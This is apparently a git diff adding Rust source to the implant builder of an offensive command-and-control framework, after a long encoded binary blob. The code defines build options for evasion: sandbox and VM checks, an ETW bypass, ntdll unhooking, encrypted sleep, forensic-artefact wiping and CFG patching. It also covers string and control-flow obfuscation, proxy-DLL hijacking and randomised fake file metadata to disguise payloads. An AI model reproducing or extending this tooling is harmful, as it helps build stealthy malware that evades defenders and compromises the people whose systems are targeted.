z6b94$hEyGG#t@BswJa6K{!~aH*N-8sH&c}FFNppuQF&W>3*Ymd^sOh(%x(hRv6UV& zY7EG-B;0tt!bz$`m33yMOtC*R<&&2hx@2*p{|9U_Fs_?jRLA!1U9GBV2H7-x(}bUq zY3UNQlPPu7xW<8(1)5O2w54BDXN~2`O=^yS)KX_5u=*Ni zL7&0}M0DT(1P&V--lUdno2KH+vu z(n{LU;P`K#lNw>MKEH#KATK9hY{RRFmjky}r4eiRHe^3%(xqwss0>sp(NxC5&-6oM zu)`Yn_+JjJgt`c`YDZ*euLKD7uIS&c#`tl2nPw=_G;qyz6;Xyi%sPpD1Ox`p({vxg zNdw_jYUc|{bFE-zteAG6?-3Go;{k%wm00LvM@?5gsJC0Y;{N9(+GXv~K1`TvJJY|t zveu>hUDo>!TP+Ui>e84uuOu0H^_5KebxeF9B5jyJWX)S4v1X8&UF&OhR(%j`A}>TX zUKJGaXkM3-oQjSCLxqpztX5j45+^q`(DxUE_C-_0A15B!bA?0i4jEJuGiE3@YVXD7 zGvK~pl)NQ^7!}Hl-S4^7G(71D%W*vg=;h&mUepC?Hwev9#CkN2_2nKu)BlRoT$SfkwFnZ=i1`=Mr;LsApL$k(OQTD1D6qR%%Q%qXy+vT)e_? z_N}mWPG>iEZXO~K;tWcRLr}Hg-(?5VR0PlatI>==03T)2;|Ub<=;^h6JE?uSE4h{7 zTeEO@8KQFdC%CWtc$0YH&wAZ)DcIKuMsmlbiQ#4z9%tw1#-^=H<Tn^HO2EMk8|W3R+a7oQoP(Z^aUyox@_ZDARmJx zn~FWUKZp8hNzaR*Jk*h*g)Nc&AR8PM6QAQ=B#0|*t}Fyheu2i(*p3HcEQc zGb~rAxyql+DQTCqI!UExxn4X6r~nISF%-qrSJu#x;IT?A8A+EE`UtCv;zC>ntUfkx zOeSzRIQdJchoCy<-IyvJnMit_cB2Csb~5t^!Q2SG5%6p#xfv_jh5y=OX1X4tl8*>2 z{cbm=cNqNitZsP+5&aI2RJ_$x=!+3oLeCOVIk-GkdsvLY!~HiKcHw<$=wI^{_OptU zHrX6A5gX~9=3g*B!RXd-6 zd4d{sv^)((At`Cz!5X}sbKFj~rwzND7?^*(-5hwZ!DQ3mvRt1tc~3PRWi(jds6$jM z_sWkR(qx>?=B$Y7M4s?C$w%zH=iM@5O+Zb?N?(vNd}@YaC(c6oG7>|%;KdpOt{wg< ztcT;;O(eOx#OkLl(Vt*qlRyZunk_o#1+@L8g(KgTg1(;U`wf{V=sWcrB!e~Yet zdWuEnc`p9V_pc!!pT{)hn)ft=-M*dFN2Q$Vj!0Hc#)Srs!y=#}($MM>JvQcCrY}tU zA&6t&MdHQTi?=?3s1TX0sb(}1%M5IrV;USOEtY5f?|c7Q?R-$gh9jT-&51Yy-KjP% zhZ`bqrDCj$3(~#>5F6~Aq~SeheqvLm=b3Z!qX!*VxLT|O11KJZ_Q=b*XI#Qs+w7j9_M|m6tKRV|?eO?JIL%CP8No7>fOAw0sE4R<7E)cUbBrB!gkqJ;p=T9D@6i;BpOw<`}!X{RwO0!FH@?$8$ z`{BDS_;VV6rkdZLAb&oN1*zragW>ZTewH12w4a^_y#rz8T@NIa76{~#KzJ+gnQ3Z6 zQPH*lluW91-=zT(nM`qrk_kjPfD8h-8CJ$n|*U>XIZ_6(}kylBa=iH@*$IzA;WEgP>9C$xDO!>7!cq>dE8 z)oFue?(eGa!K{f?p;o&oL3Ib%7h%gfCVU0Yz1|`N@>E=sGi6b6wZ>fK7_M~`*E>J& zWs9*`s?1)d8XVH1W!E3oT+S3*g|FmA<#X?t_v`=Om>8?xa+7aRil#79k(*sN6CJ|_ zORB&^cWbU@%b1Ss4#&Z@)=mF?V|6kpjqFp}z?-h`W9QFzD;2gI`$i97#@q1}z#_%bNVWcCJzzF4x?s9zbfp&6TOtI{4 z$Dx6mgbZx6stiI~wAu+oT?nc(qg=mo%Q?5@P`(U<%(p zw;h(xJLSNfMx3?a{SlDsIB^^ufp-vh_JBU3|OdWVa=hNl(XtWqauR(wmCFL~y6}_2Vvvw1_ zCPj}?pMy3gCvk++6iGn>qi!q_H||HVB8Y65;ObhT950J`?MN-9pyfm#aC{wH)D}>| z${rIH#>G0V0RyLQJ*ly*AT03O1#v{}pp3^mL#orb3)r@P+7_BzfdPoUr_G*QdrhJ- zsmlVWhsEG4?59m;S4{g&-e0ev!#Rn=%EK?Y-{T5=vGAW5HtAJp{V8Hf>q_&o=)7b4 zUeISLWriIYfy$NE0Ds~v4|B3|i(G5D`Q2v}D>5bxx5$i`9Nn{yz|-C=a+It0xX;+b zE4+9wPp(Ppnb)Pr7ECYS)KO8EKF_o#z0b&IqSA2w{~>pDQuKx}UJvh=2oSShO4u+K z@~X8Ll_?I4FAaE$(IwHaz`2hokPRMjE?~iCWm#sxQhn7uuI^OkTj4!DQbx3ro(^)+ z#@Kl*7%8qO83&g5>Jx49v2Ru}Yj#}r6}IJ8(-UP|F92dfh{}6MlK3dCA7*pUOm`Rx z{~ma~BU^VX1Xvu|vTh!XSPg$ZUyD{4ih*h3prrxb1xNCNDxU(!{MHRZpf2>nHA28I zGMuZ3S};|_f(kjW+(?J2#7SvYo~nWJ2XT_(rCk`zLYOU>7z9!6G?Lfe@#LkgstQC` zP}!FF@d<*JTo5IS@CY5qmK(7Y1%}7Uo{9_81SJjj!|e z;Vog@0DH#(Azuo_fBc8Lyy;O_-Rd+2Z}lTu72fE|I$yDywLl(35{@6OT{>J`@X?$gq%gwdL|Dl^PPvQ zX`rVwwXAh_HsFikUzn2xP4>?HSu#7$V)+Le4QH_3kS|T*=!Dt=yp|$MqEoD+@ytvo zyrUL7ry62f0yMH}k`y;&5Cb&l^+*H%=(jwWKt{a(%yVoR+$duF+T!Q;tZAPXVdoG1 z$pyYi=^J9IGm+FYO?eqx#BZV@rFW*D$;v{MLK>HY`aZELOWLE03I~soq9C7ryn|%z z@Ao9d%O(m99rm0_qa)H8I(g_Ad}u8&hYJe>=A3CxW_Z!qPjwSPSK)?rlwmE-4FQb{ zhUyO6&*DDVyO>=jBE})oQz@O_QE0SEQTAWm(bm3{P?9_4DFeBSz!6)rATlA4GyD9gMi z#JW!P&;r2_yf@7jqQ^CrsxkuiWw@}4Gml(fQ;W-EI3(#5T?|IUk4s#4zG1bdP9>&x z(crtvzMwwK^T)A#aEs!$8WoDpGU@Oj`RfROD+(Qp#UUfc0?sD>f#3!#Bn=?5J5*IkGg#eR~!<<{nsb&2#pk3E^A3{NIXmm^kLslG5$1?*kujD7`DqG9xz?HO) zl~C1Jve1S`wRBhsia_~Y7gd=ipjf<(I?zXZCP2g$xlDvE0WVv5&@pR@Kmd?gARO@| zz`>TAwW4YVmPdDP6mTfpY(4CMpAEH3D$nphGpA@?SMInFEQnW0+lBKtb0Zb|*s=EO z+4tFO)H63QNoTeE*_VW7_CZ9CW=9XE^EOMS5eV3`b5~>94i)Wf%a-G4@A#OHmANKe zwU)rkkFevk`>CuLN&tu=?(ERqr(nGS2oTdmPyH5;Q$H@wgc}IDC3lQG#;HxP3myf~ zY>P8qM5ph;?a|3*f%G2>Qh%H7AY}rSxe-maJ?FCrYHhU7p?=O%LdX&3I`!s=pZ6yp zxd&S#0iwN_-9+VemJ5VH!sUjl9KMrg-vX(kE=JlZ#a(lv9^n9TWcF(|XD#77ey{LO zf}U+SS3|{I_{Ud*FA$HP$=DAs8z&`pAehZWgpA*sn1=mgq4C*_L~)#?;B=?2dlzmL z3S43TXx8PcncCUd{7nnJe%Y=>h6-Zu+2Ms|`cr&)KS>3Ely`@+aX9~YiP}}oPTmak zbT5C^@84MvmgSx53)_{>O;Y$aQB_v-N2#sDHYsjri%T+86OCdp9-XJaUL`hrGks%A zAvW=x@hqHJ$jVV>Kpxk2vP#TexI!NfSyV%WaH#V6&9X8}usET|6sBm<)p`@TH5}K4 zGzj|!zc*PiQ`Iu9SCLQLIwp++SfJO}?9E@WBb--cqw#)|7c{ajc*n+TDYrILeAl^A z6@$}Q#wto{D5hh@(TxiwyFEhv3qpP?vSDi~(8hj>tGUgyfg+nJL*uw6iYrEIgqK`vjhh}Lz5$G{mZhoN9G>zw(A9qt)($&| zU;PlWOOQH*m_5%tLl~F-m? zZ}l#q!we8wSEkc&VFXTN`|!Gn$M<-uC{F}5H-KM_hS)xHMwuZzdI+1GNLYLszFok!rV-H+Rgq(m5+}D`X{m@k(J85&%23QL zRxMRUVF!U+rm~XVkP$8b^*v|w+D#2<$=rV4J|>*qynrlSNDgzrBWZ()*fHNArL%u_ z5-3CgEWNb1vf&fQt6!89?1WCcrKJquu(20Z>N$c|Xg#OTrzsm$MENO|(XWlvqVu5> z;zh-v)9z-dE{Tbi;lX6?Un`u7h%zJLI~IKgra^F&B#iPySo*Xbnqa@Mm=eMCpAI!6 z6uqWejU^Ahn_PJrUFI@+at-@xNq42vysXN1i5_>g_4Xa+WV^)V+OuK>m(riq0j7yx zy38H(^m-49VlZC*Qi~<SZXc;%;MrAYis5drMl0QMUK)j2kT9T!tXxxLx?ehRV%y)1@#DdK3Kol z*z|3ntl#{LW2YQCzRasA%A zEnva#FO^j}1Lfz~6&`;Gi2m?Vv!4eJq5KB;`rB^{GS4=DlPsE&Ki`0KYkOlZ+?2!b zQX2TWKPobT+h^ubw%yPmRELJGdzQ!ca`)C56{>$Sp=fLyS7O2yb1=kjRg)IV$woy( zzXzEpB=CWTW6>ZCY(0vI?~Az2{*^4QNy2p4&|eQ5_1}L1%i4gEL35!0{Y)2QReW}O zAURcfrMZ2lbMxj{L{nFW%H}(PmZApvv&6e1vjx5MB`cCj6h^d&h@o{raNZ4wAfq}S zW&e-pBL0mceW>jO_SmbJ=I~;=GjMyKqQrfHi(y+@@nxE=r4%V*>218tAC#YDn}cGH z@aBAdY7wgHgL{pH4V(#DY*VpAlY2!qJtFjNgqCG`@Z1B4-g$LIdEU+$w9_SCarM=W z69$*ien}=D58o3ex!(IVpM(4F;pzzV(DTn0>`TH5CBo%xmNGMD_k>f*^%g(GuSJ;J zHo6!FfCxyXG1}|d`$1qYHf`J{|3akwim^6Pg>_pio-u!&$2@+VP`W*x6B3@(wnfdL z?rggNBKE0hwwgVk?UQp2rvC~g_QiXUSh5VQ?i2Wy7^ z$Gl)_hh}K4+bV$ou4T}vQ@q86;qc~$SkF~pPxgcq83m^jQuFeUbc*}PBRS7p1IJd6 zK=TS8-3{>&u|2xdmZWQI@-J9H$B#Si`?mR^63}ad>-7$O|)e>5(UcH5{L9{e&vifCJ6O}K16^V!;DyF#^_!O5O%-naP-WTD- zmyGsmjT3Pj>4-A?0ll7OyxqNILEUEiFUJ(00-+KwlHt4^qGs=7EpTYdF>5!qGva+Y&{?#Q@|+XN6nlwVP1 zgUhfCKN2KsF0VJV;Ee$XzvNT0N5k%>03binqfeONxwuWKpa#!Fi1IHe5)n52+c-$sNBQ{N?X|1sqTlwhgq1pS?24B zI}-8ui;o+?l5E;s^^3n{m__9KrN#Fyqf>Jf81FNeQTF&uO+6pCty3iw@UNJIXG??dPc6QK+wwt{pU#Zfv zgyc@SWi0=m!!HG9R8t%|DR-0>-@8~V7i`=PSV!G-@*%y3s+r=|R!2IbA5O08kVEf&dOAPjAWOY|M z;*^d}PesC%7FypWYT7@LCx-|`=vl;R-QWIOI<-xbNzSd_DL<~XmEUNJpGHr zIspAkNenf(UJWMx8h>TsVB$=zg{2j{<&><$JV ztIE+)F#^Z5y_hW_55zPfb;RnL9&7{EsinnJDugEB{-!{lFX1k7!A zyJ_9nyfiP!S ztn9Vug28yxN4Y@VM>fIGBS$=X$7o1EX0Bks1iMjY7xM>b6v|;AvRsAr#0t=&!+nQC zVIf8|4`=Ed7%qcUZ|~6dSC(>D;2qJ$$BE7J$w{YwNc>7J?CF<~2D)1L;nxe5b@4=} z`a3OrerQaZ+g8$Ohx_v3odsbZDR~_`+W#ogiWwgUB9$6=az$Ez5u7BJdGQ43MbUTN zZdv59cmCs`KOdPFDn5Uo5X#G8i{`9qPBAI`cq^Kf{SrO17)@Q|uS2M)x{Qm)P%hu1 z5N7fH?L?=VHV{NHVZeNHQ^Fffix4%9hKV$+JEm+4+YQcLgDs5+69*0b z-*X>BhekB-PN9>%r?;7t6NYi@<8qww+m(|=N0y65&{rTrOLzI-!k2j5c4E0LFvE>1 zlVXLDPLPV^<))XX(8;9pS86N)D`p=~_h+qX+pv<7Uq;Vi1YF~s5=7mn+=tt0mTEVG z91}xuPp;p%B_Ow|2scXG(c)^@MD^s5U-d7Uh0fAji^RJ*xhK&KVQ+2B+In-Ga3tWp z*1$A>F>f{uLTzZcaIPCD)N&Q8#o5v3S??8(ZGK;#rdZrhfxjNAvAN${B^eWJ?uNeH zb`Lo8jQl7LgO8%-tX2AIyA0s`U4rQvwGZSEi%c={?{4*xc#pD8*lj(6lu)8rflBi= zV-T{DrmG!3^iT+TL4=uZi&2+Dl=2%DW(=F>>xy-f^-O>m4y_=@492w4;n+=6%oxy{ z4|JKzN-X1e$TGn$2j^K(ra94dm&< z!DBaDU7VBbu!Lp^+bD$H9mWtz<-9_u#50YYdSF(aPOP+LO{HU0BsNmYH5uIgvs&^` zaI-;ZzD>tbD#~S(jugnG;?6{bTP?{DVj)t++Bib>2j_`Mmu1l2lu zkawrPLx2bccg!5Joy=O!MmBm82f@zrPFlG`L~?;y{+6*2~fNS_teUjtR| zg^Cr-hcq&-HXiKFy74rtM*t3vLlY^d(Ft6jxI3+5$mnrb#Q}YO)a7BrYAOj3SWpII6^U5`G9-i#GqtNV-y+G&+BoRCg!27#3wEs^qfMX zY|C(%@7k+~?ninF-4Z-Vr-s$QeI!H?<4`ym^cGZ>=8RL!)U$1wcYzCEM#a7 z77`I6&?C2P*`WE)wmjE7PpoMlq5G=-a%;ueLe!V|N3sj;l4x1q0ik$A=alYj;lp2> zX0s`>uwEinw?_2aN07SvSkX-4fu~F=Vvd3JM)T(3(SKN zLXmh}*nMGK*JOmZjIiaNV`2p9r%aZJZB@o&!%q&vK3x=8ktRnbfIHt?&L>f9sQ)20 z-B7K+*u%5DlaMbC7^1cZk7u~WZaxYKWM^v$vJA#S29LKL=dYLYxGMVuK$u!h0Z}es zOhxaae$}Yh`B0y)k)Zp7Tys?#-RRyO(LL2yZR?k1_%T6_eu*dSFU+ZM-n^J72l1Xk z{FXN>t5?kQ&2vuSP}=DJza>L#Y!rb53jD0$nx2sZvcLy7LrITn-4kP2ef?f`B0G_? z+zYRnkcY2feCh-|F=CHgLP8N)=TuaDfR3y!Afll^PPE=O$#n%DqJhPs%G%Tjo1Xkc zTq^6?u#p8l!m^9OBy0)5u~%Ac9qO2mEvCcqW3J;XfbbJ3Q2^&_zdIilr|uXs(hcWT zGI6X293)i5*ancOtA_4aFbVsWS~vIzi?|FHilYIT6S4ve)NB+?2adHd;MV0>#9DTK z<1KA|>o`Nk;3;Y>ms2cZ7yA6wt}NUb70I?G^X%RsT!gQ7S&cNz4QTvMbmMxUI{Cj) z6N<~O#WleoEBLKo^R9s1u&h(qO0L4FpKx1t$zh z(yX7XmzHV6{%ofaWIB|~<_h~9)ov-v;HSxe9Bz{KB~}GFS9J7sK`H7$0SwBUx+AH- zmvL@})22<)k;8byha2rVcFcCO6uzucO`b*e>Q~|LCnk8)i@W{k1cqmHlkpRl+17NQ zA{ZbuMcmH5twg&xPn-^X8^hxazwThB_7~|Na= zRe~yjN;t1Ecx9p?Z}XV&)f&@%^X&({e8`f_b@GBL{+y};R*JpP0G6m9m~f9{ECN(0 zF-6X*H=1i#6jy|X(=qdKMCScZi&lS=8`YYp(U1>(h^&XuXO$Tcg=Z{xWe^GvT+K`E z)4H78e^+_^MTK2Y_C<)J1$@XQdw;K6v*?j171#@IYvp-dD8W1pC_pH)-U z3GP9HJjb{xT3?Qi-@T*yy|Dxx*h(zvs^vJ8m;SPAYQE7NCrWdzwT163gv)7~MRoB*tRgT*?SdQ!2b)kslMPNk)qPsTOo zM)d|;;nQG#*dWs-*=WWQ$I*>{++xI>k?`o1{e-EC*Yoz}Jfh0)wSx$N@KR_E4JLka zbosmje!@UDljb#SU>C0%HBBZQT4cG<$=|aKIK-Usna;y2No|-_sgNWZK1WLpoLI

/.txt`. + /// Returns None if dir is None, file doesn't exist, or is empty. + fn pick_from_file(dir: Option<&str>, filename: &str) -> Option { + use rand::seq::SliceRandom; + let dir = dir?; + let path = format!("{}/{}.txt", dir, filename); + let content = std::fs::read_to_string(&path).ok()?; + let lines: Vec<&str> = content.lines().filter(|l| !l.trim().is_empty()).collect(); + let mut rng = rand::thread_rng(); + lines.choose(&mut rng).map(|s| s.trim().to_string()) + } + + /// Replace fields with value "random" with auto-generated fake values. + /// If `metadata_wordlist` is Some, tries to read from `/.txt` first. + pub fn resolve_random(&mut self, metadata_wordlist: Option<&str>) { + use fake::faker::company::en::*; + use fake::faker::lorem::en::*; + use fake::Fake; + use rand::Rng; + + let mut rng = rand::thread_rng(); + + if self.company_name == "random" { + self.company_name = Self::pick_from_file(metadata_wordlist, "company_name") + .unwrap_or_else(|| CompanyName().fake()); + } + if self.product_name == "random" { + self.product_name = Self::pick_from_file(metadata_wordlist, "product_name") + .unwrap_or_else(|| CatchPhrase().fake()); + } + if self.file_description == "random" { + self.file_description = Self::pick_from_file(metadata_wordlist, "file_description") + .unwrap_or_else(|| Bs().fake()); + } + if self.original_filename == "random" { + self.original_filename = Self::pick_from_file(metadata_wordlist, "original_filename") + .unwrap_or_else(|| { + let word: String = Word().fake(); + format!("{}.exe", word) + }); + } + if self.internal_name == "random" { + self.internal_name = Self::pick_from_file(metadata_wordlist, "internal_name") + .unwrap_or_else(|| { + self.original_filename + .strip_suffix(".exe") + .unwrap_or(&self.original_filename) + .to_string() + }); + } + if self.file_version == "random" { + self.file_version = Self::pick_from_file(metadata_wordlist, "file_version") + .unwrap_or_else(|| { + format!( + "{}.{}.{}.{}", + rng.gen_range(1..16), + rng.gen_range(0..10), + rng.gen_range(0..10), + rng.gen_range(0..10000) + ) + }); + } + if self.product_version == "random" { + self.product_version = Self::pick_from_file(metadata_wordlist, "product_version") + .unwrap_or_else(|| { + format!( + "{}.{}.{}.{}", + rng.gen_range(1..16), + rng.gen_range(0..10), + rng.gen_range(0..10), + rng.gen_range(0..10000) + ) + }); + } + if self.compile_time == "random" { + self.compile_time = Self::pick_from_file(metadata_wordlist, "compile_time") + .unwrap_or_else(|| { + let months = [ + "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", + "Nov", "Dec", + ]; + let days_in_month = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]; + let year = rng.gen_range(2000..=2025); + let month_idx = rng.gen_range(0..12usize); + let day = rng.gen_range(1..=days_in_month[month_idx]); + let hour = rng.gen_range(0..24); + let min = rng.gen_range(0..60); + let sec = rng.gen_range(0..60); + format!( + "{} {:02} {} {:02}:{:02}:{:02}", + months[month_idx], day, year, hour, min, sec + ) + }); + } + } +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PESignatureModify { + pub feature: bool, + pub modify: PESModify, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PESModify { + pub magic: String, + pub signature: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct AntiConfig { + #[serde(default)] + pub sandbox: bool, + #[serde(default)] + pub vm: bool, +} + +#[derive(Debug, Clone, Copy, EnumString, Display, ValueEnum)] +pub enum Version { + #[strum(serialize = "community")] + Community, + #[strum(serialize = "professional")] + Professional, +} + +#[derive(Debug, Clone, Copy, EnumString, Display)] +pub enum GenerateArch { + #[strum(serialize = "x64")] + X64, + #[strum(serialize = "x86")] + X86, +} + +#[derive(Debug, Clone, Copy, EnumString, Display)] +pub enum TransportProtocolType { + #[strum(serialize = "tcp")] + Tcp, + #[strum(serialize = "http")] + Http, + #[strum(serialize = "https")] + Https, +} + +#[derive(Debug, Clone, Copy, EnumString, Display, Default)] +pub enum TransportApiType { + #[default] + #[strum(serialize = "raw")] + Raw, + #[strum(serialize = "winhttp")] + WinHttp, + #[strum(serialize = "wininet")] + WinInet, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct LoaderConfig { + #[serde(default)] + pub proxydll: Option, + #[serde(default)] + pub evader: Option, + #[serde(default)] + pub obfuscate: Option, +} + +/// Per-technique evader switches for malefic-starship. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct EvaderConfig { + /// Anti-sandbox / anti-emulator environment checks + #[serde(default)] + pub anti_emu: bool, + /// ETW bypass via VEH + hardware breakpoint + ntdll restore + #[serde(default)] + pub etw_pass: bool, + /// ntdll unhooking via clean suspended-process read + #[serde(default)] + pub god_speed: bool, + /// Sleep with XOR stack-memory obfuscation + #[serde(default)] + pub sleep_encrypt: bool, + /// Clear registry artefacts + prefetch files + #[serde(default)] + pub anti_forensic: bool, + /// Patch CFG (Control Flow Guard) validity check + #[serde(default)] + pub cfg_patch: bool, + /// Restore hooked NT functions from the on-disk ntdll + #[serde(default)] + pub api_untangle: bool, + /// Emit decoy benign API calls for behavioural-analysis evasion + #[serde(default)] + pub normal_api: bool, +} + +/// Obfuscation feature switches for malefic-starship. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct ObfuscateConfig { + /// Compile-time AES string encryption (obf_strings) + #[serde(default)] + pub strings: bool, + /// Control-flow flattening (obf_flow) + #[serde(default)] + pub flow: bool, + /// Junk code insertion (obf_junk) + #[serde(default)] + pub junk: bool, + /// Secure memory zeroization (obf_memory) + #[serde(default)] + pub memory: bool, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ProxyDllConfig { + /// Hijacked function names (comma-separated) + pub proxyfunc: String, + /// Raw DLL path (for parsing exports) + pub raw_dll: String, + /// Proxied DLL path (runtime forwarding target) + pub proxied_dll: String, + /// Proxy DLL name (generated proxy DLL name, optional) + #[serde(default)] + pub proxy_dll: Option, + /// Resource directory for proxy DLL files + #[serde(default = "default_proxydll_dir")] + pub resource_dir: String, + /// Enable block feature + #[serde(default)] + pub block: bool, + /// Enable native_thread feature + #[serde(default)] + pub native_thread: bool, + /// Enable resource packing to program.zip + #[serde(default)] + pub pack_resources: bool, + /// Include spite.bin in resource pack (for external_spite mode) + #[serde(default)] + pub include_spite: bool, + /// Custom spite.bin path (default: resources/spite.bin) + #[serde(default = "default_spite_path")] + pub spite_path: String, + /// Hijack DLLMAIN + #[serde(default)] + pub hijack_dllmain: bool, +} + +fn default_spite_path() -> String { + "resources/spite.bin".to_string() +} + +fn default_proxydll_dir() -> String { + "resources/proxydll".to_string() +} diff --git a/malefic-mutant/src/generate/cargo_features.rs b/malefic-mutant/src/generate/cargo_features.rs new file mode 100644 index 0000000..fe2588c --- /dev/null +++ b/malefic-mutant/src/generate/cargo_features.rs @@ -0,0 +1,158 @@ +use std::fs; +use toml_edit::{Array, DocumentMut, Item}; + +use malefic_gateway::lazy_static; + +use crate::config::{ImplantConfig, Version}; +use crate::{log_error, log_success, DEFAULT, FEATURES}; + +// ── Utility functions ────────────────────────────────────────────── + +pub fn edit_cargo_toml(path: &str, mutate: F) -> anyhow::Result<()> +where + F: FnOnce(&mut DocumentMut) -> anyhow::Result<()>, +{ + let content = + fs::read_to_string(path).map_err(|e| anyhow::anyhow!("Failed to read {}: {}", path, e))?; + let mut doc: DocumentMut = content + .parse() + .map_err(|e| anyhow::anyhow!("Failed to parse {}: {}", path, e))?; + mutate(&mut doc)?; + fs::write(path, doc.to_string()) + .map_err(|e| anyhow::anyhow!("Failed to write {}: {}", path, e))?; + log_success!("Cargo.toml file {} has been updated", path); + Ok(()) +} + +pub fn set_default_features(path: &str, features: &[String]) -> anyhow::Result<()> { + edit_cargo_toml(path, |doc| { + let feat_table = doc[&FEATURES] + .as_table_mut() + .ok_or_else(|| anyhow::anyhow!("No [features] table in {}", path))?; + let mut arr = Array::new(); + for f in features { + arr.push(f.as_str()); + } + feat_table["default"] = Item::Value(arr.into()); + Ok(()) + }) +} + +pub fn array_ensure(arr: &mut Array, value: &str) { + if arr.iter().all(|x| x.as_str().unwrap() != value) { + arr.push(value); + } +} + +// ── Business functions ───────────────────────────────────────────── + +static CONFIG_MODULE_TOML_PATH: &str = "malefic-modules/Cargo.toml"; +static CONFIG_3RD_TOML_PATH: &str = "malefic-3rd/Cargo.toml"; +static CONFIG_FEATURES_TOML_PATH: &str = "malefic-crates/features/Cargo.toml"; + +pub fn update_features_toml(version: &Version, source: bool, runtime: &str) { + let build_feat = if source { "source" } else { "prebuild" }; + let ver_feat = version.to_string(); + let runtime_feat = match runtime { + "smol" => "runtime_smol", + "async-std" => "runtime_asyncstd", + _ => "runtime_tokio", + }; + set_default_features( + CONFIG_FEATURES_TOML_PATH, + &[build_feat.to_string(), ver_feat, runtime_feat.to_string()], + ) + .expect("Failed to update features Cargo.toml"); +} + +pub fn update_module_toml(modules: &[String], _source: bool) { + // source/prebuild now propagated from malefic-features via default features + set_default_features(CONFIG_MODULE_TOML_PATH, modules) + .expect("Failed to update module Cargo.toml"); +} + +pub fn update_3rd_toml(modules: &[String]) { + if modules.iter().any(|m| m == "rem_static") && modules.iter().any(|m| m == "rem_reflection") { + log_error!( + "Cannot have both 'rem_static' and 'rem_reflection' features enabled at the same time" + ); + panic!( + "Cannot have both 'rem_static' and 'rem_reflection' features enabled at the same time" + ); + } + set_default_features(CONFIG_3RD_TOML_PATH, modules).expect("Failed to update 3rd Cargo.toml"); +} + +pub fn update_pulse_toml(_source: bool) { + // pulse was refactored to be self-contained no_std shellcode (commit 2775ade), + // no longer depends on malefic-win-kit, source/prebuild features are no-ops. +} + +lazy_static! { + static ref ALLOCTOR: String = "Alloctor".to_string(); + static ref ALLOCTOR_EX: String = "AlloctorEx".to_string(); + static ref NORMAL: String = "NORMAL".to_string(); + static ref DYNAMIC: String = "DYNAMIC".to_string(); + static ref SYSCALLS: String = "SYSCALLS".to_string(); + static ref CONFIG_WINKIT_TOML_PATH: String = "malefic-win-kit/Cargo.toml".to_string(); + static ref STACK_SPOOFER: String = "StackSpoofer".to_string(); +} + +pub fn update_winkit_toml(_implant_config: &ImplantConfig, _version: &Version) { + // Community edition: no win-kit source to configure +} + +#[cfg(test)] +mod tests { + use std::fs; + use std::path::PathBuf; + use std::time::{SystemTime, UNIX_EPOCH}; + + use toml_edit::DocumentMut; + + use super::set_default_features; + + fn temp_manifest_path() -> PathBuf { + let mut path = std::env::temp_dir(); + let unique = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos(); + path.push(format!("malefic-mutant-features-{}.toml", unique)); + path + } + + #[test] + fn set_default_features_rewrites_only_selected_modules() { + let path = temp_manifest_path(); + fs::write( + &path, + r#" +[package] +name = "fixture" +version = "0.1.0" + +[features] +default = ["full"] +pwd = [] +execute_bof = [] +pty = [] +"#, + ) + .unwrap(); + + let features = vec!["pwd".to_string(), "execute_bof".to_string()]; + set_default_features(path.to_str().unwrap(), &features).unwrap(); + + let doc: DocumentMut = fs::read_to_string(&path).unwrap().parse().unwrap(); + let defaults = doc["features"]["default"].as_array().unwrap(); + let values: Vec = defaults + .iter() + .map(|item| item.as_str().unwrap().to_string()) + .collect(); + + assert_eq!(values, features); + + let _ = fs::remove_file(path); + } +} diff --git a/malefic-mutant/src/generate/codegen.rs b/malefic-mutant/src/generate/codegen.rs new file mode 100644 index 0000000..11ca02d --- /dev/null +++ b/malefic-mutant/src/generate/codegen.rs @@ -0,0 +1,996 @@ +use crate::config::{BasicConfig, BuildConfig, GuardrailConfig, ImplantConfig, TargetConfig}; +use crate::{log_info, log_step, log_success, log_warning}; +use anyhow::Context; +use chrono::Local; +use std::fs; +use std::fs::File; +use std::io::Write; +use std::path::Path; +use url::Url; + +static CONFIG_CORE_RS_PATH: &str = "malefic-crates/config/src/lib.rs"; + +// Protocol defaults +const DEFAULT_TLS_PORT: &str = ":443"; +const DEFAULT_HTTP_PROXY_PORT: u16 = 8080; +const DEFAULT_SOCKS_PROXY_PORT: u16 = 1080; + +// REM transport +const REM_LINK_PREFIX: &str = "-l memory+socks://:@memory -c "; + +fn default_proxy_port(scheme: &str) -> u16 { + match scheme { + "http" | "https" => DEFAULT_HTTP_PROXY_PORT, + "socks5" | "socks" => DEFAULT_SOCKS_PROXY_PORT, + _ => DEFAULT_HTTP_PROXY_PORT, + } +} + +fn obf_or_plain_expr(value: &str, _use_obfstr: bool) -> String { + // Protection is now automatic via LiteralObfuscator in lazy_static! macro. + // The macro transforms "lit".to_string() → obf_string!("lit") at compile time. + format!("{:?}.to_string()", value) +} + +fn bytes_expr(value: &str, _use_obfstr: bool) -> String { + // Protection is now automatic via LiteralObfuscator in lazy_static! macro. + // "lit".to_string() → obf_string!("lit"), then .into_bytes() converts to Vec. + format!("{:?}.to_string().into_bytes()", value) +} + +fn backup_generated_file(path: &str) { + let path = Path::new(path); + if !path.exists() { + return; + } + + let Some(file_name) = path.file_name().and_then(|name| name.to_str()) else { + log_warning!( + "Failed to determine filename for '{}', skipping backup", + path.display() + ); + return; + }; + + let timestamp = Local::now().format("%Y%m%d%H%M%S").to_string(); + let mut candidate_name = format!("{file_name}.backup-{timestamp}"); + let mut candidate_path = path.with_file_name(&candidate_name); + let mut suffix = 2u32; + + while candidate_path.exists() { + candidate_name = format!("{file_name}.backup-{timestamp}-v{suffix}"); + candidate_path = path.with_file_name(&candidate_name); + suffix += 1; + } + + match fs::copy(path, &candidate_path) { + Ok(_) => log_info!( + "Backed up '{}' to '{}'", + path.display(), + candidate_path.display() + ), + Err(err) => log_warning!( + "Failed to backup '{}' to '{}': {}", + path.display(), + candidate_path.display(), + err + ), + } +} + +pub fn update_core_config( + server: &BasicConfig, + implant_config: &ImplantConfig, + build_config: Option<&BuildConfig>, +) -> anyhow::Result<()> { 